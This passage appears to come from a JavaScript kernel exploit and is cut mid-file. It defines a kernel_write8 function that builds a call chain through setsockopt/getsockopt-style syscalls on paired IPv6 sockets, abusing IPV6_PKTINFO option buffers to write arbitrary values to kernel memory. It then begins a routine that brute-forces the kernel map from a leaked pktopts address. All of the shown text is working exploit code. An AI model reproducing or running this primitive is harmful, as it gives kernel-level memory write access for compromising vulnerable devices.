| 608 | } |
| 609 | |
| 610 | function kernel_write8(address, value) { |
| 611 | { |
| 612 | chain.push_write8(pktinfo_buffer, address); |
| 613 | chain.push_write8(pktinfo_buffer.add32(0x8), 0); |
| 614 | chain.push_write8(pktinfo_buffer.add32(0x10), 0); |
| 615 | chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); |
| 616 | chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len); |
| 617 | chain.push_write8(pktinfo_buffer, value); |
| 618 | chain.fcall(syscalls[105], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); |
| 619 | } |
| 620 | chain.run(); |
| 621 | } |
| 622 | |
| 623 | function brute_force_kernel_map() { |
| 624 | var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi); |